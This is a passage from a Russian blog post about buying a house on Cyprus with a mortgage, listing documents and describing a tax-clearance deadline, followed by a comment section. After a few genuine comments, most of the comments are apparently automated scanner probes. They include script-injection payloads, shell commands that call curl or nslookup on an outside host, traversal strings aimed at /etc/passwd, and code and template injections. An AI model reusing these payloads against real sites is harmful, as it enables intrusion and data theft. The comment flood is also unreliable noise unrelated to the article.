  • выписка из российского бюро кредитных историй (подойдёт выписка из НБКИ, её можно получить бесплатно, без регистрации и СМС);
  • налоговые декларации (за последние 10 лет, из всех стран, где когда-либо платил налоги), доказательства оплаты налогов, сертификаты налогоплательщика (свидетельство ИНН — от ФНС России, документ о присвоении TIC — от налоговой службы Кипра);
  • трудовые договоры, выписка из соцстраха и квитанции о выплате зарплаты (если работник), договоры выполнения работ или оказания услуг (если фрилансер), акции, решения о распределении дивидендов и все корпоративные документы (если получаешь дивиденды от своей компании);
  • детальное резюме с автобиографией (когда родился, где учился, где жил, когда переехал, откуда получаешь деньги, чем занимаешься, ссылки на публикации, ссылки на социальные сети), дипломы о высшем образовании, о прохождении курсов повышения квалификации;
  • все документы на всё имущество в собственности во всех странах (машины, квартиры, дома, яхты — вообще всё, что есть);
  • разрешение Council of Minister (нужно для граждан всех неевропейских стран, выдаётся за пару месяцев, форму можно скачать и заполнить самому, но лучше и быстрее всё сделать через юриста);
  • tax clearance (доказательство о том, что у продавца всё хорошо с налогами на недвижимость, его делают юристы продавца или сам продавец, протухает в конце календарного года).

Все документы, кроме тех, которые получают на Кипре, нужно перевести на английский или греческий языки. Для всех документов хватит машинного перевода, в нашем случае с частью документов лучше справился Google Translate, с частью — Deepl.

Мы собрали ещё одно бинго: 31 декабря 2022 года закончился tax clearance, а 20 января 2023 заканчивался срок действия предложения банка об ипотеке. Если бы мы не закрыли сделку до 20 января, то нам пришлось бы начинать весь ипотечный процесс заново. Последствия могли быть неприятными: в лучшем случае нам бы пришлось потратить ещё несколько месяцев (в худшем — до полугода), но в любом случае нам бы выдали ипотеку на новых и менее выгодных условиях (инфляция, бессердечная ты сволочь!).

Но, как я уже писал, нам повезло, поэтому продавец быстренько запилила новый tax clearance, а банк буквально выгрыз свободный слот в регистрационной службе за два дня до окончания действия предложения об ипотеке.

Счастливый полуфинал

Может показаться, что история закончена, но это не так. Впереди был переезд, ремонт, покупка и установка мебели и бытовой техники, превращение буераков в сад, реставрация бассейна, внедрение полуумного дома и множество других квестов, которые нам пришлось пройти. Подробный, детальный и субъективный отчёт об этом — в следующей заметке. Stay tuned!

Отправить
Поделиться
Запинить
590 комментариев
А 9 мес

Едрить триллер! С прохождением вас!

Орущий Поссум 9 мес

Спасибо большое! Дальше будет ещё более суровый триллер (но писать я его буду, наверное, пару месяцев :-)

Э 9 мес

Про самое интересное, цену дома и всего связанного, так и не написали :(

ooJpiued 1 мес

1aKlLXDnO

ooJpiued 1 мес

${9999983+9999669}

ooJpiued 1 мес

<esi:include src=«http://bxss.me/rpb.png»/>

ooJpiued 1 мес

12345’«\’\»);|]*%00{%0d%0a<%00>%bf%27’💡

wrBEIRqX 1 мес

${9999116+9999774}

ooJpiued 1 мес

response.write(9682669*9453621)

wrBEIRqX 1 мес

<esi:include src=«http://bxss.me/rpb.png»/>

ooJpiued 1 мес

’+response.write(9682669*9453621)+’

ooJpiued 1 мес

«+response.write(9682669*9453621)+»

ooJpiued 1 мес

)

ooJpiued 1 мес

xfs.bxss.me

ooJpiued 1 мес

’.gethostbyname(lc(’hitar’.’htsdyqgsa3def.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(107).chr(73).chr(100).chr(82).’

ooJpiued 1 мес

!(()&&!|*|*|

ooJpiued 1 мес

«.gethostbyname(lc(„hitdb“.»kotqnxdzf228b.bxss.me.»)).«A».chr(67).chr(hex(«58»)).chr(103).chr(80).chr(101).chr(82).»

ooJpiued 1 мес

^(#$!@#$))******

ooJpiued 1 мес

bxss.me/t/xss.html?%00

ooJpiued 1 мес

gethostbyname(lc(’hitcw’.’heksukgca0ae6.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(103).chr(90).chr(119).chr(84)

wrBEIRqX 1 мес

12345’«\’\»);|]*%00{%0d%0a<%00>%bf%27’💡

wrBEIRqX 1 мес

response.write(9356947*9270739)

wrBEIRqX 1 мес

’+response.write(9356947*9270739)+’

ooJpiued 1 мес

«+»A».concat(70-3).concat(22*4).concat(99).concat(88).concat(115).concat(82)+(require«socket»
Socket.gethostbyname(«hitvf«+»xdsuvbug10f51.bxss.me.»)[3].to_s)+»

wrBEIRqX 1 мес

«+response.write(9356947*9270739)+»

ooJpiued 1 мес

’+’A’.concat(70-3).concat(22*4).concat(97).concat(88).concat(114).concat(82)+(require’socket’
Socket.gethostbyname(’hitjk’+’wifpkjene142f.bxss.me.’)[3].to_s)+’

ooJpiued 1 мес

’A’.concat(70-3).concat(22*4).concat(106).concat(67).concat(104).concat(68)+(require’socket’
Socket.gethostbyname(’hitee’+’qvdgacmj791be.bxss.me.’)[3].to_s)

wrBEIRqX 1 мес

)

wrBEIRqX 1 мес

!(()&&!|*|*|

wrBEIRqX 1 мес

^(#$!@#$))******

wrBEIRqX 1 мес

bxss.me/t/xss.html?%00

ooJpiued 1 мес

’»

ooJpiued 1 мес

<!—

wrBEIRqX 1 мес

xfs.bxss.me

wrBEIRqX 1 мес

’.gethostbyname(lc(’hitra’.’kdgvpvaq703b7.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(110).chr(72).chr(117).chr(66).’

wrBEIRqX 1 мес

«.gethostbyname(lc(„hitnf“.»xofgdanobdc77.bxss.me.»)).«A».chr(67).chr(hex(«58»)).chr(101).chr(86).chr(113).chr(87).»

ooJpiued 1 мес

’«()

ooJpiued 1 мес

’&&sleep(27*1000)*tiablq&&’

wrBEIRqX 1 мес

gethostbyname(lc(’hitve’.’brphwogq26c41.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(110).chr(88).chr(113).chr(71)

ooJpiued 1 мес

«&&sleep(27*1000)*adbkpq&&»

ooJpiued 1 мес

’||sleep(27*1000)*sosuug||’

ooJpiued 1 мес

«||sleep(27*1000)*puhkze||»

wrBEIRqX 1 мес

’«()

wrBEIRqX 1 мес

«+»A».concat(70-3).concat(22*4).concat(104).concat(70).concat(105).concat(80)+(require«socket»
Socket.gethostbyname(«hithj«+»xowacvpx86150.bxss.me.»)[3].to_s)+»

wrBEIRqX 1 мес

’&&sleep(27*1000)*xdpgnh&&’

wrBEIRqX 1 мес

’+’A’.concat(70-3).concat(22*4).concat(100).concat(80).concat(105).concat(86)+(require’socket’
Socket.gethostbyname(’hitxv’+’zxzsldfofdd18.bxss.me.’)[3].to_s)+’

wrBEIRqX 1 мес

«&&sleep(27*1000)*vmjmye&&»

wrBEIRqX 1 мес

’A’.concat(70-3).concat(22*4).concat(106).concat(68).concat(108).concat(75)+(require’socket’
Socket.gethostbyname(’hitiz’+’uxlwuybn3af65.bxss.me.’)[3].to_s)

wrBEIRqX 1 мес

’||sleep(27*1000)*nzntsw||’

wrBEIRqX 1 мес

’»

wrBEIRqX 1 мес

<!—

wrBEIRqX 1 мес

«||sleep(27*1000)*ihykss||»

ooJpiued 1 мес

;assert(base64_decode(’cHJpbnQobWQ1KDMxMzM3KSk7’));

ooJpiued 1 мес

’;print(md5(31337));$a=’

ooJpiued 1 мес

«;print(md5(31337));$a=»

ooJpiued 1 мес

${@print(md5(31337))}

wrBEIRqX 1 мес

;assert(base64_decode(’cHJpbnQobWQ1KDMxMzM3KSk7’));

ooJpiued 1 мес

${@print(md5(31337))}\

ooJpiued 1 мес

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

wrBEIRqX 1 мес

’;print(md5(31337));$a=’

ooJpiued 1 мес

’.print(md5(31337)).’

ooJpiued 1 мес
wrBEIRqX 1 мес

«;print(md5(31337));$a=»

wrBEIRqX 1 мес

${@print(md5(31337))}

wrBEIRqX 1 мес

${@print(md5(31337))}\

ooJpiued 1 мес

/etc/shells

wrBEIRqX 1 мес

’.print(md5(31337)).’

ooJpiued 1 мес

../../../../../../../../../../../../../../etc/shells

ooJpiued 1 мес

c:/windows/win.ini

ooJpiued 1 мес

bxss.me

wrBEIRqX 1 мес

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

wrBEIRqX 1 мес
wrBEIRqX 1 мес

/etc/shells

wrBEIRqX 1 мес

../../../../../../../../../../../../../../etc/shells

wrBEIRqX 1 мес

c:/windows/win.ini

ooJpiued 1 мес

1’«()&%<zzz><ScRiPt >OsVL(9452)</ScRiPt>

wrBEIRqX 1 мес

bxss.me

wrBEIRqX 1 мес

<esi:include src=«http://bxss.me/rpb.png»/>

ooJpiued 1 мес

’«()&%<zzz><ScRiPt >OsVL(9470)</ScRiPt>

wrBEIRqX 1 мес

${9999390+9999125}

ooJpiued 1 мес

19907041

ooJpiued 1 мес

bfg2826%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2826

wrBEIRqX 1 мес

1’«()&%<zzz><ScRiPt >DTnu(9440)</ScRiPt>

wrBEIRqX 1 мес

’«()&%<zzz><ScRiPt >DTnu(9974)</ScRiPt>

ooJpiued 1 мес

bfgx7019%C0%BEz1%C0%BCz2a%90bcxhjl7019

wrBEIRqX 1 мес

12345’«\’\»);|]*%00{%0d%0a<%00>%bf%27’💡

ooJpiued 1 мес

<%={{={@{#{${dfb}}%>

wrBEIRqX 1 мес

19608828

wrBEIRqX 1 мес

bfg4146%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4146

ooJpiued 1 мес

<th:t=«${dfb}#foreach

wrBEIRqX 1 мес

bfgx9170%C0%BEz1%C0%BCz2a%90bcxhjl9170

ooJpiued 1 мес

1}}«}}’}}1%>»%>’%><%={{={@{#{${dfb}}%>

wrBEIRqX 1 мес

response.write(9122000*9343115)

wrBEIRqX 1 мес

<%={{={@{#{${dfb}}%>

wrBEIRqX 1 мес

’+response.write(9122000*9343115)+’

ooJpiued 1 мес

dfb{{98991*97996}}xca

wrBEIRqX 1 мес

«+response.write(9122000*9343115)+»

wrBEIRqX 1 мес

<th:t=«${dfb}#foreach

wrBEIRqX 1 мес

)

wrBEIRqX 1 мес

echo kdczfd$()\ xuwbhl\nz^xyu||a #’ &echo kdczfd$()\ xuwbhl\nz^xyu||a #|» &echo kdczfd$()\ xuwbhl\nz^xyu||a #

wrBEIRqX 1 мес

&echo cyhzrz$()\ mlhtlx\nz^xyu||a #’ &echo cyhzrz$()\ mlhtlx\nz^xyu||a #|» &echo cyhzrz$()\ mlhtlx\nz^xyu||a #

wrBEIRqX 1 мес

1}}«}}’}}1%>»%>’%><%={{={@{#{${dfb}}%>

wrBEIRqX 1 мес

|echo hfmnmn$()\ eaemld\nz^xyu||a #’ |echo hfmnmn$()\ eaemld\nz^xyu||a #|» |echo hfmnmn$()\ eaemld\nz^xyu||a #

wrBEIRqX 1 мес

!(()&&!|*|*|

wrBEIRqX 1 мес

(nslookup -q=cname hitsjkjbdxxfw53628.bxss.me||curl hitsjkjbdxxfw53628.bxss.me))

ooJpiued 1 мес
wrBEIRqX 1 мес

dfb{{98991*97996}}xca

wrBEIRqX 1 мес

bxss.me/t/xss.html?%00

wrBEIRqX 1 мес

$(nslookup -q=cname hitaezylbtcupc27ad.bxss.me||curl hitaezylbtcupc27ad.bxss.me)

wrBEIRqX 1 мес

^(#$!@#$))******

wrBEIRqX 1 мес

&nslookup -q=cname hitltiptfoqwzcc378.bxss.me&’\«`0&nslookup -q=cname hitltiptfoqwzcc378.bxss.me&`’

wrBEIRqX 1 мес
ooJpiued 1 мес

dfb__${98991*97996}__::.x

wrBEIRqX 1 мес

&(nslookup -q=cname hitortcrhuwmve128e.bxss.me||curl hitortcrhuwmve128e.bxss.me)&’\«`0&(nslookup -q=cname hitortcrhuwmve128e.bxss.me||curl hitortcrhuwmve128e.bxss.me)&`’

wrBEIRqX 1 мес

|(nslookup -q=cname hithpyftyagica0ebc.bxss.me||curl hithpyftyagica0ebc.bxss.me)

wrBEIRqX 1 мес

dfb__${98991*97996}__::.x

wrBEIRqX 1 мес

xfs.bxss.me

wrBEIRqX 1 мес

`(nslookup -q=cname hituzpqilbgwub27c2.bxss.me||curl hituzpqilbgwub27c2.bxss.me)`

wrBEIRqX 1 мес

;(nslookup -q=cname hitjtofknkpac16ea9.bxss.me||curl hitjtofknkpac16ea9.bxss.me)|(nslookup -q=cname hitjtofknkpac16ea9.bxss.me||curl hitjtofknkpac16ea9.bxss.me)&(nslookup -q=cname hitjtofknkpac16ea9.bxss.me||curl hitjtofknkpac16ea9.bxss.me)

wrBEIRqX 1 мес

«dfbzzzzzzzzbbbccccdddeeexca».replace(«z»,«o»)

wrBEIRqX 1 мес

../../../../../../../../../../../../../../etc/passwd

wrBEIRqX 1 мес

’.gethostbyname(lc(’hitpz’.’dytfhbusd2c81.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(104).chr(71).chr(106).chr(79).’

wrBEIRqX 1 мес

|(nslookup${IFS}-q${IFS}cname${IFS}hitjytnpjdvbr925b8.bxss.me||curl${IFS}hitjytnpjdvbr925b8.bxss.me)

wrBEIRqX 1 мес

../../../../../../../../../../../../../../windows/win.ini

wrBEIRqX 1 мес

&(nslookup${IFS}-q${IFS}cname${IFS}hitmctioyosim9fe11.bxss.me||curl${IFS}hitmctioyosim9fe11.bxss.me)&’\«`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmctioyosim9fe11.bxss.me||curl${IFS}hitmctioyosim9fe11.bxss.me)&`’

wrBEIRqX 1 мес

«.gethostbyname(lc(„hityk“.»gctvkklu7018e.bxss.me.»)).«A».chr(67).chr(hex(«58»)).chr(116).chr(65).chr(100).chr(70).»

wrBEIRqX 1 мес

1<ScRiPt >DTnu(9775)</ScRiPt>

wrBEIRqX 1 мес

file:///etc/passwd

ooJpiued 1 мес

echo dfsssj$()\ ceaiun\nz^xyu||a #’ &echo dfsssj$()\ ceaiun\nz^xyu||a #|» &echo dfsssj$()\ ceaiun\nz^xyu||a #

wrBEIRqX 1 мес

../../../../../../../../../../../../../../../proc/version

wrBEIRqX 1 мес

gethostbyname(lc(’hitai’.’enjbawya0ebb0.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(97).chr(69).chr(116).chr(86)

ooJpiued 1 мес

&echo oaxfpg$()\ ldkztk\nz^xyu||a #’ &echo oaxfpg$()\ ldkztk\nz^xyu||a #|» &echo oaxfpg$()\ ldkztk\nz^xyu||a #

wrBEIRqX 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

ooJpiued 1 мес

«dfbzzzzzzzzbbbccccdddeeexca».replace(«z»,«o»)

wrBEIRqX 1 мес

1<WWFYPI>CP4MZ[!+!]</WWFYPI>

wrBEIRqX 1 мес

../../../../../../../../../../etc/passwd%00.jpg

ooJpiued 1 мес

|echo nndgja$()\ bfjvkh\nz^xyu||a #’ |echo nndgja$()\ bfjvkh\nz^xyu||a #|» |echo nndgja$()\ bfjvkh\nz^xyu||a #

wrBEIRqX 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

wrBEIRqX 1 мес

1<script>DTnu(9043)</script>

wrBEIRqX 1 мес

/../..../..../..../..../..//etc/passwd%00.jpg

wrBEIRqX 1 мес

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

wrBEIRqX 1 мес

«+»A».concat(70-3).concat(22*4).concat(110).concat(83).concat(120).concat(75)+(require«socket»
Socket.gethostbyname(«hithg«+»jrwkapgr49161.bxss.me.»)[3].to_s)+»

wrBEIRqX 1 мес

1<script>DTnu(9227)</script>9227

wrBEIRqX 1 мес

/etc/passwd

wrBEIRqX 1 мес

%2fetc%2fpasswd

wrBEIRqX 1 мес

’+’A’.concat(70-3).concat(22*4).concat(104).concat(74).concat(112).concat(80)+(require’socket’
Socket.gethostbyname(’hitms’+’pewiijik28091.bxss.me.’)[3].to_s)+’

wrBEIRqX 1 мес

/.././.././.././.././.././.././.././../etc/./passwd%00

wrBEIRqX 1 мес

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%44%54%6E%75%28%39%38%30%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

wrBEIRqX 1 мес

../..../..../..../..../..../..../..../..etc/passwd

wrBEIRqX 1 мес

’A’.concat(70-3).concat(22*4).concat(112).concat(71).concat(100).concat(86)+(require’socket’
Socket.gethostbyname(’hitil’+’lmlnzjrifc9a0.bxss.me.’)[3].to_s)

wrBEIRqX 1 мес

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

wrBEIRqX 1 мес

1<ScRiPt

DTnu(9135)</ScRiPt>

wrBEIRqX 1 мес

’«()

wrBEIRqX 1 мес

../././../././../././../././../././../././../././../././../././../././etc/passwd

wrBEIRqX 1 мес

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

wrBEIRqX 1 мес

’&&sleep(27*1000)*etmajh&&’

wrBEIRqX 1 мес

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

wrBEIRqX 1 мес

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9109></ScRiPt>

wrBEIRqX 1 мес

«&&sleep(27*1000)*jtdgkh&&»

wrBEIRqX 1 мес

file:///etc/passwd

wrBEIRqX 1 мес

/\../\../\../\../\../\../\../etc/passwd

wrBEIRqX 1 мес

1<ScRiPt

DTnu(9513)</ScRiPt>

wrBEIRqX 1 мес

/WEB-INF/web.xml

wrBEIRqX 1 мес

’||sleep(27*1000)*krfqfe||’

ooJpiued 1 мес

(nslookup -q=cname hitvwkkdtcyns78065.bxss.me||curl hitvwkkdtcyns78065.bxss.me))

wrBEIRqX 1 мес

WEB-INF/web.xml

wrBEIRqX 1 мес

1<isindex type=image src=1 onerror=DTnu(9712)>

wrBEIRqX 1 мес

WEB-INF\web.xml

wrBEIRqX 1 мес

«||sleep(27*1000)*lhoaea||»

wrBEIRqX 1 мес

1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9319’>

wrBEIRqX 1 мес

1<body onload=DTnu(9090)>

wrBEIRqX 1 мес

1<img src=//xss.bxss.me/t/dot.gif onload=DTnu(9021)>

wrBEIRqX 1 мес

’»

wrBEIRqX 1 мес

<!—

wrBEIRqX 1 мес

1<img src=xyz OnErRor=DTnu(9527)>

wrBEIRqX 1 мес

1<img/src=«>» onerror=alert(9677)>

ooJpiued 1 мес

$(nslookup -q=cname hitlgautoynuo8a8bf.bxss.me||curl hitlgautoynuo8a8bf.bxss.me)

wrBEIRqX 1 мес

%31%3C%53%63%52%69%50%74%20%3E%44%54%6E%75%289615%29%3C%2F%73%43%72%69%70%54%3E

wrBEIRqX 1 мес

1\u003CScRiPt\DTnu(9992)\u003C/sCripT\u003E

wrBEIRqX 1 мес

1<ScRiPt>DTnu(9225)</sCripT>

ooJpiued 1 мес

1<ScRiPt >OsVL(9777)</ScRiPt>

wrBEIRqX 1 мес

1<input autofocus onfocus=DTnu(9886)>

wrBEIRqX 1 мес
wrBEIRqX 1 мес

<a HrEF=jaVaScRiPT:>

ooJpiued 1 мес

&nslookup -q=cname hitydyfcngvei25dca.bxss.me&’\«`0&nslookup -q=cname hitydyfcngvei25dca.bxss.me&`’

wrBEIRqX 1 мес

;assert(base64_decode(’cHJpbnQobWQ1KDMxMzM3KSk7’));

ooJpiued 1 мес

&(nslookup -q=cname hithmxtpwxmhc5900d.bxss.me||curl hithmxtpwxmhc5900d.bxss.me)&’\«`0&(nslookup -q=cname hithmxtpwxmhc5900d.bxss.me||curl hithmxtpwxmhc5900d.bxss.me)&`’

wrBEIRqX 1 мес

1}body{zzz:Expre/**/SSion(DTnu(9169))}

wrBEIRqX 1 мес

’;print(md5(31337));$a=’

ooJpiued 1 мес

|(nslookup -q=cname hitleeghtvoraa0a1d.bxss.me||curl hitleeghtvoraa0a1d.bxss.me)

ooJpiued 1 мес

../../../../../../../../../../../../../../etc/passwd

wrBEIRqX 1 мес

«;print(md5(31337));$a=»

ooJpiued 1 мес

1<WKGOLM>XAM1L[!+!]</WKGOLM>

wrBEIRqX 1 мес

1YAKHf
<ScRiPt >DTnu(9794)</ScRiPt>

wrBEIRqX 1 мес

${@print(md5(31337))}

ooJpiued 1 мес

../../../../../../../../../../../../../../windows/win.ini

ooJpiued 1 мес

`(nslookup -q=cname hityojpytsyxq1a65a.bxss.me||curl hityojpytsyxq1a65a.bxss.me)`

wrBEIRqX 1 мес

${@print(md5(31337))}\

wrBEIRqX 1 мес

1<WALOIA>YBCKI[!+!]</WALOIA>

ooJpiued 1 мес

;(nslookup -q=cname hitpnhlndknhr39787.bxss.me||curl hitpnhlndknhr39787.bxss.me)|(nslookup -q=cname hitpnhlndknhr39787.bxss.me||curl hitpnhlndknhr39787.bxss.me)&(nslookup -q=cname hitpnhlndknhr39787.bxss.me||curl hitpnhlndknhr39787.bxss.me)

ooJpiued 1 мес

file:///etc/passwd

wrBEIRqX 1 мес

’.print(md5(31337)).’

wrBEIRqX 1 мес

1<ifRAme sRc=9357.com></IfRamE>

ooJpiued 1 мес

1<script>OsVL(9792)</script>

wrBEIRqX 1 мес

1<awXHHpD x=9326>

wrBEIRqX 1 мес

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

wrBEIRqX 1 мес
ooJpiued 1 мес

|(nslookup${IFS}-q${IFS}cname${IFS}hitjyndcjsbos1c51b.bxss.me||curl${IFS}hitjyndcjsbos1c51b.bxss.me)

ooJpiued 1 мес

../../../../../../../../../../../../../../../proc/version

wrBEIRqX 1 мес
wrBEIRqX 1 мес

/etc/shells

ooJpiued 1 мес

&(nslookup${IFS}-q${IFS}cname${IFS}hitbnnjlwyfxza29a0.bxss.me||curl${IFS}hitbnnjlwyfxza29a0.bxss.me)&’\«`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbnnjlwyfxza29a0.bxss.me||curl${IFS}hitbnnjlwyfxza29a0.bxss.me)&`’

ooJpiued 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

wrBEIRqX 1 мес

../../../../../../../../../../../../../../etc/shells

wrBEIRqX 1 мес

c:/windows/win.ini

wrBEIRqX 1 мес

bxss.me

ooJpiued 1 мес

../../../../../../../../../../etc/passwd%00.jpg

wrBEIRqX 1 мес

1<av6FNoR<

wrBEIRqX 1 мес

1’«()&%<zzz><ScRiPt >KCGq(9149)</ScRiPt>

ooJpiued 1 мес

1<script>OsVL(9365)</script>9365

wrBEIRqX 1 мес

’«()&%<zzz><ScRiPt >KCGq(9882)</ScRiPt>

wrBEIRqX 1 мес

19388052

ooJpiued 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

wrBEIRqX 1 мес

bfg2076%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2076

ooJpiued 1 мес

/../..../..../..../..../..//etc/passwd%00.jpg

ooJpiued 1 мес

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4F%73%56%4C%28%39%30%31%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

wrBEIRqX 1 мес

bfgx5103%C0%BEz1%C0%BCz2a%90bcxhjl5103

wrBEIRqX 1 мес

<%={{={@{#{${dfb}}%>

wrBEIRqX 1 мес

<th:t=«${dfb}#foreach

ooJpiued 1 мес

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

wrBEIRqX 1 мес

1}}«}}’}}1%>»%>’%><%={{={@{#{${dfb}}%>

ooJpiued 1 мес

1<ScRiPt

OsVL(9692)</ScRiPt>

ooJpiued 1 мес

/etc/passwd

wrBEIRqX 1 мес

echo ovbjvk$()\ jbuhke\nz^xyu||a #’ &echo ovbjvk$()\ jbuhke\nz^xyu||a #|» &echo ovbjvk$()\ jbuhke\nz^xyu||a #

wrBEIRqX 1 мес

dfb{{98991*97996}}xca

wrBEIRqX 1 мес

&echo buxatz$()\ nwfzek\nz^xyu||a #’ &echo buxatz$()\ nwfzek\nz^xyu||a #|» &echo buxatz$()\ nwfzek\nz^xyu||a #

wrBEIRqX 1 мес

|echo fksyxf$()\ zhcepy\nz^xyu||a #’ |echo fksyxf$()\ zhcepy\nz^xyu||a #|» |echo fksyxf$()\ zhcepy\nz^xyu||a #

wrBEIRqX 1 мес
wrBEIRqX 1 мес

(nslookup -q=cname hithavxaspldeb740c.bxss.me||curl hithavxaspldeb740c.bxss.me))

wrBEIRqX 1 мес

$(nslookup -q=cname hitahvmamqqlqe0814.bxss.me||curl hitahvmamqqlqe0814.bxss.me)

wrBEIRqX 1 мес

../../../../../../../../../../../../../../etc/passwd

wrBEIRqX 1 мес

&nslookup -q=cname hitrpbjyuwbkt019b6.bxss.me&’\«`0&nslookup -q=cname hitrpbjyuwbkt019b6.bxss.me&`’

wrBEIRqX 1 мес

../../../../../../../../../../../../../../windows/win.ini

wrBEIRqX 1 мес

dfb__${98991*97996}__::.x

wrBEIRqX 1 мес

&(nslookup -q=cname hittcjcibisti21359.bxss.me||curl hittcjcibisti21359.bxss.me)&’\«`0&(nslookup -q=cname hittcjcibisti21359.bxss.me||curl hittcjcibisti21359.bxss.me)&`’

wrBEIRqX 1 мес

file:///etc/passwd

wrBEIRqX 1 мес

|(nslookup -q=cname hitxcirezwxtv1ccdb.bxss.me||curl hitxcirezwxtv1ccdb.bxss.me)

wrBEIRqX 1 мес

../../../../../../../../../../../../../../../proc/version

wrBEIRqX 1 мес

`(nslookup -q=cname hitzfeukzdlew2ca74.bxss.me||curl hitzfeukzdlew2ca74.bxss.me)`

ooJpiued 1 мес

%2fetc%2fpasswd

wrBEIRqX 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

ooJpiued 1 мес

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9348></ScRiPt>

wrBEIRqX 1 мес

«dfbzzzzzzzzbbbccccdddeeexca».replace(«z»,«o»)

wrBEIRqX 1 мес

;(nslookup -q=cname hitbbohpsldvo22af4.bxss.me||curl hitbbohpsldvo22af4.bxss.me)|(nslookup -q=cname hitbbohpsldvo22af4.bxss.me||curl hitbbohpsldvo22af4.bxss.me)&(nslookup -q=cname hitbbohpsldvo22af4.bxss.me||curl hitbbohpsldvo22af4.bxss.me)

wrBEIRqX 1 мес

../../../../../../../../../../etc/passwd%00.jpg

wrBEIRqX 1 мес

|(nslookup${IFS}-q${IFS}cname${IFS}hitdmgsbvnkijdd152.bxss.me||curl${IFS}hitdmgsbvnkijdd152.bxss.me)

wrBEIRqX 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

wrBEIRqX 1 мес

&(nslookup${IFS}-q${IFS}cname${IFS}hitpizztlotazfe396.bxss.me||curl${IFS}hitpizztlotazfe396.bxss.me)&’\«`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpizztlotazfe396.bxss.me||curl${IFS}hitpizztlotazfe396.bxss.me)&`’

wrBEIRqX 1 мес

1<ScRiPt >KCGq(9475)</ScRiPt>

wrBEIRqX 1 мес

/../..../..../..../..../..//etc/passwd%00.jpg

ooJpiued 1 мес

/.././.././.././.././.././.././.././../etc/./passwd%00

wrBEIRqX 1 мес

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

wrBEIRqX 1 мес

/etc/passwd

wrBEIRqX 1 мес

1<WIP5HJ>7MSZJ[!+!]</WIP5HJ>

wrBEIRqX 1 мес

%2fetc%2fpasswd

wrBEIRqX 1 мес

/.././.././.././.././.././.././.././../etc/./passwd%00

wrBEIRqX 1 мес

../..../..../..../..../..../..../..../..etc/passwd

wrBEIRqX 1 мес

1<script>KCGq(9477)</script>

